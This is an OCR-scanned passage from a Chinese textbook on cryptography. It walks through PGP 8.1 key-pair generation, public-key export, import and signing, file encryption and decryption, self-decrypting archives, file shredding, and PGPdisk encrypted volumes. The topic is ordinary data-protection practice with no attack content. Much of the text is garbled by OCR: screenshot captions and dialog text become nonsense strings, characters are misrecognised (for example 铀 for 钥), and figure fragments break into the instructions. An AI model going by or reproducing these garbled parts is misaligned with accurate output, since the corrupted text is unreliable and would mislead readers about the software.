要 向 其 他 人 发 送 你 的 安全 信息 ,你 必须 首先 生成 一 个 
S. 


你 的 密 钥 对 也 将 会 用 来 签名 数字 文档 . 
一 个 密 钥 对 有 一 个 ' 公 钥 - 和 一 个 " 私 铀 `, 公 铀 可 以 肯 知 
S E Ee o a i e 


如果 你 想 要 知道 更 多 关于 密 钥 对 和 PGP 如 何 工作 的 信 
息 ,请 选用 PGPkeys 和 帮助 荣 单 . 


Ptr 
比较 详细 的 控制 设置 ， 


PGP 密 乌 生成 向 导 


分 配 姓 名 和 电子 信箱 
每 一 个 于 外 对 那 有 一 个 与 其 关联 的 姓名 .姓名 和 电子 信箱 地 址 让 你 的 通信 人 知道 
AME ERNSO WIRT f 


28O: [eee ] 


被 关联 的 电子 信箱 地 址 和 你 的 密 钥 对 ,你 格 会 使 PGP 协 助 你 的 通信 人 在 与 你 通信 
Dii 


Emaili&t(E: [isjoscpuales co» ] 


图 3-42 分 配 姓名 和 电子 信箱 


所 示 对 话 框 。 

第 2 步 : 在 图 3-42 中 ,在 全 名 处 输入 用 户 想 要 创建 的 用 户 名 ,E-mail 地 址 处 输入 用 户 
所 对 应 的 电子 邮件 地 址 ,完成 后 单 击 【 下 一 步 ] 按 钮 ,出 现 如 图 3-43 所 示 的 【分配 密码 ] 页 面 。 

第 3 步 : 在 图 3-43 中 ,在 [密码 ] 文 本 框 处 输入 长 度 必须 大 于 等 于 8 位 的 密码 ,建议 为 
12 位 以 上 ,在 [确认 ] 文 本 框 处 再 输入 一 次 ,最 好 选中 [隐藏 键入 ] 复 选 框 ,这 样 即使 有 人 在 后 
面 ,也 不 容易 知道 输入 的 是 什么 ,更 大 程度 地 保护 了 密码 的 安全 。 然 后 单 击 【 下 一 步 ] 按 钮 ， 
进入 密 钥 生成 进程 ,如 图 3-44 Bros ,等 待 主 密 钥 和 次 密 钥 生成 完毕 (当前 状态 : 完成 )。 单 
击 【 下 一 步 ] 按 钮 ,显示 [完成 PGP 密 钥 生成 向 导 ] 页 面 ,如 图 3-45 所 示 , 单 击 【 完 成 3 按钮 ,用 
户 就 创建 并 设置 好 了 ,如 图 3-46 所 示 。 


3. 导出 并 分 发 公 钥 


为 了 实验 ,在 另 一 台 计 算 机 上 按照 上 面 方法 创建 一 个 test 用 户 。 从 这 个 “ 密 钥 对 ”内 导 
出 包含 的 公 钥 ,导出 公 钥 的 过 程 如 下 。 
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密码 技术 


上 了 


配 密码 
你 的 私 钥 笠 会 被 密码 保护 ,这 些 信息 很 重要 且 是 机 守 的 ,你 不 要 将 它 写 下 来 . 


你 的 密码 至 少 应 该 有 3 位 字符 长 度 ,并 包 全 数字 和 字母 


CEEE] 
图 3-43 【分 配 密码 ] 页 面 


POP 密 钥 生成 向 导 
SHERHE 
EHERLOMETER -HE RTEE RNLI. 


密 钥 生成 步骤 ; 
v 正在 生成 密 钥 
v 正在 生成 次 窜 钥 


图 3-44 密 钥 生 成 进程 


PCP 之 由 生成 向 号 
完成 POP 密 铀 生成 向 导 


PERHERE. 
TREE WARS iN B7HE E Tr05- 


如 果 你 起 把 你 的 新 公 角 发 送 到 富 急 服务 器 ,只 要 在 
POEULGRET RAWRANA. 


KEE wa ) 


图 3-45 完成 PGP 密 钥 生 成 向 导 页 面 


文件 加 © FEV Wo RIHO APHO HAYV 


»€*À2JpscucokW 
AAE MER kh ORB WE 


ztguang 《jsjesepv8163. con) 
Á stesanc <jsjszapsel63 een 


1 SAER 


图 3-46 PGPkeys 窗口 
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在 PGPkeys 窗口 (类 似 图 3-46) 中 , 右 击 刚才 创建 的 用 户 (test, 即 密 钥 对 ) ,在 右键 菜单 
中 选择 【导出 了 命令 ,在 出 现 的 保存 对 话 框 中 ,确认 选中 [包含 6. 0 公 钥 了】 复 选 框 ,然后 选择 一 
个 目录 ,再 单 击 【保存 了 按钮 , 即 可 导出 test 的 公 钥 ,扩展 名 为 . ascCtest. asc). 

导出 公 钥 后 ,就 可 以 将 此 公 钥 放 在 自己 的 网 站 上 或 者 将 公 钥 直接 发 给 朋友 ,告诉 他 们 以 
后 发 邮件 或 者 重要 文件 的 时 候 , 通 过 PGP 使 用 此 公 钥 加 密 后 再 发 给 你 ,这 样 做 能 更 安全 地 
保护 自己 的 隐私 或 公司 的 机 密 。 

在 图 3-46 中 ,关于 密 钥 基 本 信息 中 的 有 效 性 是 指 PGP 系统 检查 密 钥 是 否 符合 要 求 ,如 
符合 ,就 显示 为 绿色 ;另外 还 有 信任 度 大小、 描述 、 密 钥 、 创 建 日 .到 期 时 间 等 属性 ,如果 没 有 
这 么 多 信息 ,可 以 使 用 菜单 组 里 的 [查看 菜单 ,并 选中 里 面 的 全 部 选项 。 


Bs “ 密 钥 对 ”中 包含 了 一 个 公 钥 (公用 密 钥 , 可 发 送 给 任何 人 ,别人 可 以 用 这 个 
密 钥 对 要 发 给 你 的 文件 或 邮件 进行 加 密 ) 和 一 个 私 钥 (私人 密 钥 ,只 有 自己 所 有 ,不 可 公开 
分 发 ,此 密 钥 用 来 解密 别人 用 公 钥 加密 的 文件 或 邮件 )。 


4. 导入 并 设置 其 他 人 的 公 钥 


第 1 步 : 导入 公 钥 。 双 击 对 方 发 给 你 的 扩展 名 为 . asc 的 公 钥 ,在 此 是 test. asc, 将 会 出 
现 【 选 择 密 钥 ] 对 话 框 ,如 图 3-47 所 示 , 在 这 里 可 以 看 到 该 公 钥 的 基本 属性 ,如 有 效 性 、 信 任 
度 、 大 小 等 。 选 好 一 个 公 钥 后 , 单 击 【 导 入 3 按钮 , 即 可 导入 PGP. 


kE 


TEE 
ÈE test Gsjoseputl6. ... 
Á test Gsjesepo... 


Caso )(zmmso][ 9o J[ mmo ) 


图 3-47 DEF 9I Y iste 


第 2 步 : 设置 公 钥 属性 。 打 开 PGPkeys 窗口 ,在 图 3-48 中 的 密 钥 列表 中 可 以 看 到 刚 导 
入 的 密 钥 (test) , 右 击 test, 选 择 【[ 密 钥 属 性 】 命 令 ,弹出 test 属性 的 对 话 框 ,如 图 3-49 所 示 ， 
可 以 看 到 test 密 钥 的 全 部 信息 ,比如 是 否 是 有 效 密 钥 、 是 否 可 信任 等 。 


T PGPkeys [fe 


文件 中 MED SEV MO RIBO HP So 
»upr325cuoHH 


. ENESBEZIIENZS 
eig test Gsjoscpull63. con? 


Á test 《jsjoscpual63 con? 2010-6-2 DSS 
cj) ztguang jsjoscpuBl63. con? Saga 2046/1024 2010-6-2 DW/DSS 
ELE rtguang. Gsjoscpulló3. con? 
Á :trane Gsjoscpuales. 2010-6-2 DSS 


图 3-48 PGPkeys 窗口 


区 注意 在 图 3-48 中 ,请 读者 注意 test 和 ztguang 在 描述 上 public key、key pair 的 
差异 。 
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在 图 3-49 中 ,如果 直 接 将 【不 信任 的 了 的 滑 块 拉动 到 [信任 的 ?处 ,将 会 出 现 错误 信息 ,如 
图 3-50 所 示 。 正 确 的 做 法 应 该 是 关闭 此 对 话 框 ( 图 3-490 ,在 图 3-48 中 , 右 击 test, 选择 
【签名 命令 ,出 现 【PGP 密 钥 签 名 】 对 话 框 ,如 图 3-51 所 示 。 


[2048/1024 
: [2010-62 
: KA 
 [AES-256 


回 已 所 用 加 


图 3-49 
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EBED 0496 1D17 2246 DCF AARI GFOG IEll EIOS GAFO 


P 加 趟 允许 5 出 叫 

成 〇 可 导出 加 

A OFRIR PHMBAV 
Á O SB EAO BA 
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图 3-51 [PGP 密 钥 签名 对 话 框 


PCP 信息 加 
DE 
D» 

图 3-50 ”错误 信息 


POP 为 选择 的 富 乌 输入 窗 码 


ESEI | (oane 《jsjoscpu8163 com> 0SS/1024) vj 
使 用 密码 签名 密 钥 (P);: 回 隐 藏 键入 人 
| I 


图 3-52 【PGP 为 选择 的 密 钥 输入 密码 3 对话 框 


在 图 3-51 中 , 单 击 【确定 了 按钮 :会 出 现 【PGP 为 选择 的 密 钥 输 入 密码 对 话 框 ,如 图 3-52 
所 示 。 在 此 输入 的 是 设置 用 户 ztguang 时 的 密码 ,然后 单 击 【确定 了 按钮 , 即 完成 签名 操作 。 


PGPkeys 窗口 变 成 图 3-53 所 示 o 


T PGPkeys 


Á test Gsjoscpuale3. com> 
AP rteaang Gsjoscpull63. 
日 二 rtemang GsjoscpuBl63. com> 


J rtguang <jsjosepu@l63. com) 
Á rteaang jsjsscpual63 


2010-6-2 DSS 
2010-6-2 DSS 


ES 2048/1024 2010-6-2 DW/D| 


2010-6-2 DSS 


图 3-53 PGPkeys 窗口 
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在 图 3-53 中 , 密 钥 列表 中 可 以 看 到 密 钥 (test) 的 [有效 性 了 显示 为 绿色 ,表示 该 密 钥 有 
效 。 右 击 test, 选 择 [ 密 钥 属 性 了 命令 .如 图 3-49 Bros ,将 【不 信任 的 3 滑 块 拉动 到 【信任 的 了 
处 ,然后 单 击 【关闭 按钮 即 可 ,在 图 3-53 中 , 密 钥 
test 的 【信任 度 ] 不 再 是 灰色 的 了 ,此 时 说 明 公 
在 会 话 其 间 产 生 的 这 个 密 角 非常 重要 ,在 磺 盘 出演 1 
test 被 PGP 加 密 系统 正式 接受 ,可 以 投入 使 用 了 ，。 E MUS 
XH] PGPkeys 窗口 (图 3-53) 时 ,会 出 现 要 求 备 份 
的 对 话 框 ,如 图 3-54 所 示 。 如 果 单 击 【立即 保存 备 
份 ] 按 钮 , 接 下 来 将 会 对 * 公 钥 环 文件 ”和 * 私 钥 环 [zero] 
文件 ”进行 保存 。 图 3-54 ”要 求 备份 


5. 使 用 公 钥 加 密 文件 


第 1 步 : 新 建文 件 pgp_encrypt. txt, 随 意 输 入 的 内 容 是 “使 用 公 钥 加 密 文件 ”。 
第 2 步 : 右 击 文件 pgp_encrypt. txt, 如 图 3-55 所 示 , 在 右键 菜单 中 依次 选择 [PGP】| 
【加 密 ] 命 令 ,将 出 现 [PGP 外 壳 一 密 钥 选择 对 话 框 3 对话 框 ,如 图 3-56 所 示 。 


强烈 推荐 你 格 密 钥 环 文件 备份 到 一 个 主要 磁盘 之 外 的 分 区 ， 


VB; "pep. encrypt zip” 并 邮件 
330255 Q0. 


发 送 到 0D 


Eum 
SHO 


UREI SS O 
MW 
LU 


MEG 


图 3-55 dii XffF pgp encrypt. txt 图 3-56 [PGP 外 壳 - 密 钥 选择 】 对 话 框 


第 3 步 : 在 图 3-56 中 ,可 以 选择 一 个 或 多 个 公 钥 , 上 面 窗口 是 备 选 的 公 钥 ,下 面 窗 口 是 
准备 使 用 的 公 钥 。 在 此 选择 ztguang, 然 后 单 击 【确定 按钮 ,经 过 PGP 短暂 处 理 ,会 在 被 加 
密 文件 (pgp_encrypt. txt) 的 同一 目录 下 生成 一 个 格式 为 “加 密 文 件 名 . pgp” 的 文件 (pgp_ 
encrypt. txt. pgp) ,这 个 pgp_encrypt. txt. pgp 文件 就 可 以 用 来 发 送 了 。 


BREE 刚才 使 用 哪个 公 钥 (ztguang) 加 密 , 就 只 能 将 该 公 钥 发 送 给 公 钥 所 有 者 
(ztguang) ,其 他 人 无 法 解密 ,因为 只 有 该 公 钥 所 有 者 才 有 解密 的 私 钥 。 


第 4 步 : 解密 pgp_encrypt. txt. pgp 文件 。 右 击 文件 pgp_encrypt. txt. pgp, 如 图 3-57 
所 示 ,在 右键 菜单 中 依次 选择 [PGP】I【 解 密 & 效 验 命令 ,将 出 现 [PGP 外 壳 一 输入 密码 】 
对 话 框 ,如 图 3-58 所 示 。 如 果 输 入 密码 不 正确 ,会 提示 重新 输入 密码 。 输 入 密码 正确 后 ,会 
将 加 密 文 件 解密 到 用 户 指定 的 目录 中 。 


O 
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PEP 外 壳 — SAER 


MEME "pep encrypt. txt zip” 并 邮件 
打开 方式 中 


发 送 到 四 ) 


信息 被 加 密 到 下 列 公 钥 : 
[ztguang dsjoscpual65 com) (DN/2048) 


图 3-57 didi Xf pgp. encrypt. txt. pgp 图 3-58 【PGP 外 壳 - 输 入 密码 】 对 话 框 


第 5 步 : 如 果 要 加 密 文 本 文件 ,并且 和 希望 将 加 密 后 的 内 容 作为 论坛 的 帖子 发 布 ,或 者 作 
为 邮件 的 内 容 发 布 , 那 么 ,在 图 3-56 中 ,选中 左下 角 的 【文本 输出 了 复 选 框 ,然后 单 击 【确定 】 
按钮 ,经 过 PGP 短暂 处 理 , 会 在 被 加 密 文件 (pgp_encrypt. txt) 的 同一 目录 下 生成 一 个 格式 
为 “加 密 文件 名 . asc” 的 文件 (pgp_encrypt. txt. asc) ,用 文本 编辑 器 打开 pgp_encrypt. txt. 
asc 文件 ,如 图 3-59 所 示 ,加 密 后 文件 的 内 容 就 不 是 没有 规律 的 乱码 (如 果 不 选 择 此 项 ,输出 
的 加 密 文件 pgp_encrypt. txt. pgp 将 是 乱码 ) ,而 是 很 有 序 的 格式 ,便于 复制 。 


l pep_encrypt. tzt. asc - 记事 本 
文件 中， RED 格式 @) EV 帮助 00) 
Version: PGP 8.1 


qRiNQR 1DBuUADXSK*xKG H5QQB /*8q JF CEUSSL Tk6yR j FuL pGcD7 hwWH s Tha «rz 
0hyh* I0hQaPnQhhHSSnHRZUNTaCURGFn/RJTDuAg jw4Nt jGFZe2aUtznReUucBKx 
tCFRrüeNnRRabV21RCburpuFESeRB1UcVZg OgRXOGDoz J*xLUQSURVSUR«uRG2G 
I1VyFePhdSSFnóUuu9sNHE1/9gPEJBQTy3nU7 *PGRUQQR£O nu /1 S1 NL MhL 
mi 0PueobHLLx6F I jY7DUvpHOv35OqRItS«BGdHI 7Fzv«| a 
f0vojKE9//UtjzRhDuDZdxrqRKiUd2UxhRbF9IUR7CX( — pagroo 
MHc6GnanbaUEvRx2tU3Thi 8a0i tuNunz LRNpunuTaDpt( 
aasTFc*07u2GkqsuJj«PGCDBlBeiUVFQdDO218nWKó; — 关于 PCF (A) 


IduShR78cySFFrlaU9pWB2UASFg*DWnB/zjTmmMnBCQ2 FATE Q) 
Js0tb8RUBUaqMphgIGSR1oCJegRyDw8yDeeuLQNexJEf 
h20aoxHe2sody727PFh/xKC12sthIxjs7 JSQbuOqbx8E 
yt0j«xTa81gB1bOkuve2FteCXhRJIvQFophinkHs/h57 : 
KkncARbEL7A&viDEROSg3L dTRObkUjSuDuUCSVCt1BRIQ- 

-bunH 


图 3-59 解密 pgp encrypt. txt. asc 


第 6 步 : 使 用 PGPtray 解密 pgp encrypt. txt. asc。 如 图 3-59 所 示 ,首先 用 文本 编辑 器 
打开 pgp_encrypt txt. asc, 然 后 在 任务 栏 右 侧 右键 单 击 小 锁 (PGPtray 图 标 ) ,依次 选择 【当前 窗 
DITER & 效 验 了 命令 ,如 图 3-60 所 示 , 输 入 正确 的 密码 ,出 现 解密 后 的 内 容 ,如 图 3-61 
所 示 。 

补充 1: 安全 删除 文件 。 

有 时 候 , 不 希望 一 些 重要 的 数据 留 在 系统 里 面 ,而 简单 的 删除 又 不 能 防止 数据 可 能 被 恢 


ey 
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PGPtray — RAEI 


信息 被 加 密 到 下 列 公 铀 : 
tguang jsjoscpuBiB3. con? DH/2048) 


图 3-60 输入 密码 图 3-61 解密 后 的 内 容 


复 , 此 时 可 以 使 用 PGP 的 粉碎 功能 来 安全 删除 数据 ,这 项 功能 通过 进行 多 次 反复 写 人 来 达 
到 无 法 恢复 的 效果 。 右 击 要 删除 的 文件 夹 (或 文件 ) ,如 图 3-57 Bros ,在 右键 菜单 中 依次 选 
择 [PGP] 人 粉碎] 命令 。 

补充 2: 创建 自 解密 文档 。 

本 例 中 对 SDA_test 文件 夹 (文件 夹 中 最 好 包含 其 他 文件 ) 创 建 自 解密 文档 , 右 击 SDAL 
test 文件 夹 , 如 图 3-62 所 示 ,在 右键 菜单 中 依次 选择 [PGP] 人 创建 SDA] 命 令 。 然 后 弹出 
【PGP 外 壳 一 输入 密码 对 话 框 , 如 图 3-63 所 示 ,在 该 对 话 框 中 输入 密码 (用 户 ztguang 的 密 
码 ) , 单 击 【确定 了 按钮 ,出现 【[ 保 存 ] 对 话 框 , 选 一 个 位 置 保存 即 可 。 此 时 创建 的 自 解 密 文 档 是 
SDA test. sda. exe 文件 。 


PGPAEA: - SAEI 


EME “SDA_test. zip” 并 邮件 
共享 和 安全 QD 
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图 3-62 右 击 SDA test 文件 夹 图 3-63 [PGP 外 壳 - 输 入 密码 ] 对 话 框 


(Rim 自 解密 文档 的 最 大 方便 之 处 是 在 没有 安装 PGP 软件 的 计算 机 也 可 以 进行 
解密 。 


在 任意 一 台 没 有 安装 PGP 软件 的 计算 机 上 ,双击 SDA_text. sda. exe 文件 ,弹出 界面 如 
图 3-64 所 示 ,输入 正确 的 密码 (用 户 ztguang 的 密码 ) 后 , 即 可 打开 文件 夹 (或 文件 ) 。 
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PGP 自 解 客 压 欧文 档 
关于 PGP () 
许可 证 上) 
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VITARE PERDERE , fs As [浏览 ] 按 钥 另 过 一 个 [D] : 
C:\Documents and Settings MAdninistrator VAL 
[RR CD) 当前 窗口 四 
[emen] [ 职 滑 皖 作 并 退出 [c] ] WIR] EGO 


图 3-64 PGP 自 解密 图 3-65 Athe 


6. 创建 PGPdisk 


PGPdisk 可 以 划分 出 一 部 分 的 磁盘 空间 来 存储 敏感 数据 ,这 部 分 磁盘 空间 用 于 创建 一 
个 称 为 PGPdisk 的 卷 。 虽 然 PGPdisk 卷 是 一 个 单独 的 文件 ,但 是 PGPdisk 卷 却 非常 像 一 个 
硬盘 分 区 ,提供 存储 文件 和 应 用 程序 。 

第 1 步 : 右 击 任务 栏 的 小 锁 按 钮 ,依次 选择 [新建 磁盘 】PGPdisk 命令 ,如 图 3-65 所 示 。 
出 现 [PGPdisk 创建 向 导 】 对 话 框 ,如 图 3-66 所 示 。 图 中 文字 简单 介绍 了 PGPdisk。 


PGPdisk 创建 向 导 


欢迎 来 到 PGPdisk 创建 向 导 


PGpdisk 能 在 随时 被 装 甩 和 反 装 备 的 加 密 的 卷 中 安全 的 存 
neg 这 些 卷 实 际 上 是 文件 ,叫做 PGPdsks ,你 能 移 
动 ,复制 并 县 除 同 关 的 任何 其 好 文档 . 


为 了 创建 一 个 新 的 PGPdisk 疮 ,你 项 要 输入 需要 的 大 小 , 驱 
动 器 名 和 窗 码 .PGPdsk 格 会 使 用 你 默认 的 公 铀 . 


你 能 更 改 目录 名 和 文件 名 ,你 可 选择 使 用 下 列 控制 设置 ， 


要 继续 , 请 点 击 " 下 一 步 …. 


图 3-66 【PGPdisk 创建 向 导 】 对 话 框 


第 2 步 : 在 图 3-66 中 , 单 击 【 下 一 步 ] 按 钮 ,出 现 [PGPdisk 位 置 和 大 小 ] 页 面 ,如 图 3-67 
所 示 ,指定 要 存储 的 . pgd 文件 (这 个 . pgd 文件 在 以 后 被 装配 为 一 个 卷 ,也 可 理解 为 一 个 分 
区 ,在 需要 时 可 以 随时 装配 使 用 ) 的 位 置 和 容量 大 小 。 在 图 3-67 中 , 单 击 【 高 级 选项 ] 按 钮 ， 
出 现 [ 选 项 ] 对 话 框 ,如 图 3-68 所 示 。 

第 3 步 : 在 图 3-68 中 ,可 以 让 PGPdisk 以 一 个 分 区 形式 存在 ,或 者 在 NTFS 分 区 上 作 
为 一 个 目录 。 加 密 算 法 有 3 种 : AES(256bits)、CAST5(128bits) 和 Twofish(256bits)。 文 
件 系 统 格式 可 以 作为 NTFS 或 FAT 装配 使 用 。 可 以 根据 需要 选中 【启动 时 装配 ] 复 选 框 。 
单 击 【确定 了 按钮 返回 到 上 一 个 界面 (图 3-67)。 

E} 
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PGPdisk 创建 向 导 
PGPdisk 位 置 和 大 小 
你 现在 必须 为 你 的 PGPdisk 指 定 一 个 位 置 和 大 小 .也 可 以 单 击 高 级 选项 进一步 
的 设置 你 的 PGPdsk 以 符合 你 的 要 求 . OW ESRB: 
你 还 有 4378 MB 的 空闲 空间 可 用 .注意 ,格式 化 后 的 PGPdisk 容 量 格 会 比 你 在 下 H W 
面 选择 的 数量 略 小 - 
〇 在 NTFS 卷 上 当 作 一 个 目录 所 )( 羽 限 Win2000 和 WinXP); 
| ET 


10 图 [ve 国 JR NENÓG: 
CASTS (128 bits) bd 


选择 一 个 文件 系统 格式 


NTFS v 


Grotto) (x CC [m CEGE HS] 


图 3-67 PGPdisk 位 置 和 大 小 图 3-68 【选项 ] 对 话 框 


第 4 步 : 在 图 3-67 中 , 单 击 【 下 一 步 3 按 钮 ,出 现 [ 选 择 一 个 保护 方法 页 面 ,如 图 3-69 所 

示 ,推荐 使 用 自己 的 公 钥 进行 加 密 保护 ,选择 [ 公 钥 了 单 选 按钮 , 单 击 【 下 一 步 ] 按 钮 ,出 现 【 选 
择 一 个 公 钥 】 页 面 , 如 图 3-70 所 示 。 
PGPdisk 创建 向 导 


选择 一 个 保护 方法 
局 


加 果 达 挥 密码 你 必须 也 输入 一 个 用 户 名 

OE) 

Os 
as 


Gon) m 
图 3-69 选择 一 个 保护 方法 


PGPdisk 创建 向 导 


选择 一 个 公 钥 
TiitPcPdskd e V — 1-290935 IRA FIOR RE PEE 


| € 有 效 性 大 小 


(x-swmJr-em»)( mum 


图 3-70 选择 一 个 公 钥 


$8 5 3p. 在 图 3-70 中 ,列表 中 显示 出 用 户 建立 的 密 钥 信息 ,在 此 选择 ztguang 密 钥 , 单 
击 【 下 一 步 ] 按 钮 ,出 现 【收集 随机 数据 页面 ,如 图 3-71 所 示 , 可 以 通过 鼠标 移动 来 进行 随机 
mE ,然后 单 击 [ 下 一 步 ] 按 钮 .出现 【PGPdisk 创建 进程 页面, 如 图 3-72 所 示 ,PGPdisk 为 
所 指定 的 卷 进行 加 密 和 格式 化 操作 ,这 里 可 能 会 需要 一 段 时 间 ,根据 创建 卷 的 大 小 而 定 。 

第 6 步 : 在 图 3-72 中 ,当前 状态 为 完成 时 , 单 击 【 下 一 步 ] 按 钮 ,出 现 【完成 PGPdisk 创 
建 向 导 了 页 面 , 如 图 3-73 所 示 , 单 击 【完成 了 按钮 ,完成 了 PGPdisk 的 创建 。 


(m 
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PGPdisk 创建 向 导 


收集 随机 数据 
人 


ron [ mi 
图 3-71 收集 随机 数据 


PGPdisk 创建 向 导 


PGPdisk 创建 进程 
你 的 新 PGPdisk 现 在 将 会 被 初始 化 并 准备 使 用 ,依据 PGPdisk 的 大 小 ,这 需要 几 分 


图 3-72 PGPdisk 创建 进程 


PcPdisk 创建 向 导 


完成 PGPdisk 创建 向 导 


你 已 经 安全 创建 并 装 也 了 一 个 新 PGPdisk. 
:在 Windows 为 新 的 PGPdisk 显 示 适 当 的 卷 标 名 之 前 ， 
一 个 打开 的 文件 夹 窗口 , 那 你 必须 按 下 5 以 刷新 .) 


IESP ERT DING E55, 
并 选择 PGPPGPdsk 关 联系 单 中 的 ` 反 装配， 


加 要 重新 装配 ,只 需要 在 PGPdsk 文 件 上 双击 . 
关闭 此 向 导 , 请 点 击 完成 


图 3-73 ”完成 PGPdisk 创建 向 导 


7. 使 用 PGPdisk 


第 1 步 : 装配 PGPdisk 卷 。 

在 图 3-74 中 , 右 击 【新 PGPdisk 3$. pgd] 文 件 , 依 次 选择 PGPI【 装 配 PGPdisk] 命 令 。 
出 现 [ 输 入 密码 ] 对 话 框 ,如 图 3-75 所 示 . 单 击 【 选 项 按钮 ,打开 【装配 选项 ] 对 话 框 ,如 图 3-76 
所 示 ,在 此 让 PGPdisk 以 一 个 分 区 (CH: ) 形 式 存 在 , 单 击 【 确 定 】 按 钮 返回 到 上 一 个 界面 
(图 3-75) 。 单 击 【确定 了 按钮 后 PGPdisk 被 成 功 装配 ,如 图 3-77 所 示 。 当 一 个 PGPdisk 卷 


e 
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被 装配 上 去 后 ,可 以 将 它 作为 一 个 单独 的 分 区 使 用 。 可 以 将 机 密 的 数据 都 存放 在 这 个 分 区 
(PGPdisk 卷 ) ,不 用 的 时 候 , 将 该 分 区 (PGPdisk 卷 ) 反 装配 ,需要 时 再 装配 。 


Tro) 
用 记事 本 打开 
TERRI RESTE QD. 
EME "WE Perdisk Æ. rip (D 
EMB “新 PGPdisk dE zip” 并 邮件 
打开 方式 0 


发 送 到 中 


文件 和 文件 卖 任务 


a] 重合 名 这 个 文件 

By emete 

复制 这 人 文件 

Q Hatana 
ei 

A pagane 

x aatre 


图 3-74 装配 使 用 PGPdisk 


装配 选项 
SAER PR 选择 你 要 装配 的 PGPdsk 
38 "Wi PoPdk 4i pod 输入 一 个 密码 : 确定 一 个 3 动 器 
im - 
C NTFS E fE—1- BR OOCIRER Win2000 WinXP): 
厂 装配 为 R 读 G) RAO 


图 3-75 【输入 密码 ] 对 话 框 图 3-76 【装配 选项 对 话 框 


(85208) “新 建 压缩 文件 . zip” (D 
| BEME EEB. zip” HA 


系统 任务 格式 化 Q0. 


dhcp WA G) 
»«€ a 


图 3-77 fir PGPdisk(H:)] 驱 动 器 
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第 2 步 : 反 装 配 PGPdisk 卷 。 

在 图 3-77 中 , 右 击 【 新 PGPdisk(H:)] 驱 动 器 ,依次 选择 PGPI【 反 装配 PGPdisk] 命 令 ， 
即 可 将 该 卷 印 载 掉 。 当 卷 被 反 装 配 后 ,如 果 不 知道 密 码 ,将 无 法 访问 它 ,使 整个 卷 (存放 在 这 
个 卷 的 数据 ) 得 到 保护 。 也 可 以 在 图 3-78 rp d b sc Re M HK SUE RO PGPdisk 卷 。 

第 3 步 : 添加 用 户 。 

如 果 PGPdisk 卷 不 希望 任何 人 可 以 轻易 使 用 ,这 就 要 针对 个 别 用 户 进行 权限 分 配 。 

在 图 3-77 中 fi ibi 9r PGPdisk 卷 . pgd] 文 件 , 依 次 选择 PGPI【 编 辑 PGPdisk] 命 令 , 出 
现 [PGPdisk 编辑 器 窗口 ,如 图 3-78 所 示 。 


(REED 添加 用 户 时 ,必须 对 PGPdisk 卷 进行 反 装 配 。 
在 图 3-78 中 , 单 击 [ 添 加 ] 按 钮 ,将 会 弹出 一 个 [输入 密码 ] 对 话 框 ,如 图 3-79 所 示 。 输 入 


正确 密码 后 进入 PGPdisk 用 户 创 建 向 导 】 对 话 框 ,如 图 3-80 所 示 。 然 后 依次 按照 图 3-81 一 
图 3-83 的 提示 进行 操作 。 


© PGPdisk 编辑 器 - [I PGPdisk &.pedl 
xO APW SEV 帮助 0 


&52 57 


用 户 名 Rit dem 
DÌ tenang 《jsjesepne163- com> DW/DSS Public Key 


图 3-78 【PGPdisk 编辑 器 窗口 图 3-79 【输入 密码 ] 对 话 框 


PGPdisk 用 户 创建 向 导 
欢迎 来 到 PGPdisk 用 户 创建 向 导 
pepdsk 有 能 力 让 你 多 这 附加 用 户 使 用 pepdisk. 每 个 用 户 
DARANRRRS MIRER LONA XLP. 
要 级 续 , MAST- 


G7] C9 ) 
图 3-80 [PGPdisk 用 户 创建 向 导 ] 对 话 杠 


PCPdisk 用 户 创建 向 导 : 


选择 一 个 保护 方法 
和 


加 时 选择 宣 码 ,你 必须 也 输入 一 个 用 记名 

OZ 

Os 
HPZ 


ORAP 


cron) 3 Lj] 
图 3-81 选择 一 个 保护 方法 
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PGPdisk 用 户 创建 向 导 


o 放量 (79b) 


图 3-82 ”选择 一 个 公 钥 


PG6Pdisk 用 户 创 建 向 导 


mz 完成 PGPdisk 用 户 创建 向 导 
e 于 点 完成, 格 关 闭 本 向 导 并 添加 新 用 户 到 你 99PGPdisk。 
图 3-83 ”完成 PGPdisk 用 户 创建 向 导 


第 4 步 : 选择 允许 访问 的 用 户 。 
在 图 3-83 中 , 单 击 【 完 成 按钮 , 回 到 PGPdisk 管理 界面 ,如 图 3-84 所 示 。 在 这 里 ,可 以 
对 用 户 进行 “ 移 除 ”"“ 禁 用 ”和 “固定 为 只 读 ” 等 操作 。 


© PcPdisk 编辑 器 - [新 PcPdisk 卷 .pgd] [ye 
文件 中 APW EEV 帮助 如 


Rit 
DH/DSS Public Key 


图 3-84 [PGPdisk 4&4 28 11 H1 


8. PGP 选项 


(1) PGEK 常 规 ] 选 项 卡 如 图 3-85 所 示 , 下 面 对 各 选项 进行 解释 。 

总 是 用 默认 密 钥 加 密 : 如 果 经 常 给 朋友 传输 文件 ,需要 用 朋友 的 公 钥 进行 加 密 , 建 
议 不 要 选择 此 项 。 

© 更 快 的 生成 密 钥 : 选择 该 选项 可 以 减少 在 创建 密 钥 时 所 用 的 时 间 。 

O 单 点 登录 : 有 时 需要 频繁 使 用 密 钥 来 进行 加 密 、 解 密 、 验 证 、 签 名 等 ,如 果 每 次 都 这 
样 重复 输入 ,将 显得 很 麻烦 ,这 时 可 以 使 用 密码 缓存 功能 ,在 短 时 间 内 就 不 要 重复 输入 密 
码 了 。 
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7A [xe [a [im [Besala Ia 
选项 


ERUEN 
cd E) REESE 
回 显示 Pcptray 图 标 D 


注释 信息 (可 选 XO) | 


单 点 登录 
OS S3 $0 
回音 码 缓存 时 间 (p) 00:02:00 $ 
ORG ESI) 
EB p CREER TRO). 


Wsses — DH — (emet) 
FERRI sum zoo RULPRESRES, 
RENAA NR INS. 


口 出 除 时 自动 粉碎 (U) 


LC» jJ 
图 3-85 【和 常规] 选项 卡 


@ 文件 粉碎 : 文件 粉碎 主要 针对 的 是 一 些 反 删 除 软件 ,在 日 常 操作 中 的 删除 其 实 是 简 
单 意义 上 的 删除 ,数据 还 是 存在 的 ,一 些 反 删除 软件 可 以 对 其 进行 恢复 。 而 PGP 里 提供 的 
【文件 粉碎 功能 是 个 不 错 的 选择 , 它 对 文件 在 硬盘 的 存储 扇 区 反复 写 入 数据 ,让 一 些 反 删 除 
软件 无 能 为 力 。 

BAE 覆 写 次 数 越 多 ,需要 的 时 间 就 越 长 ,默认 次 数 (3 次 ) 一 般 可 以 满足 要 求 。 

(2)【〖 文 件 ] 选 项 卡 如 图 3-86 所 示 。 


文件 [mm |mm [服务器 [cA (me iris] 
PGP SUFLE 


MEG... 


MEB)... 


图 3-86 【文件 ] 选 项 卡 


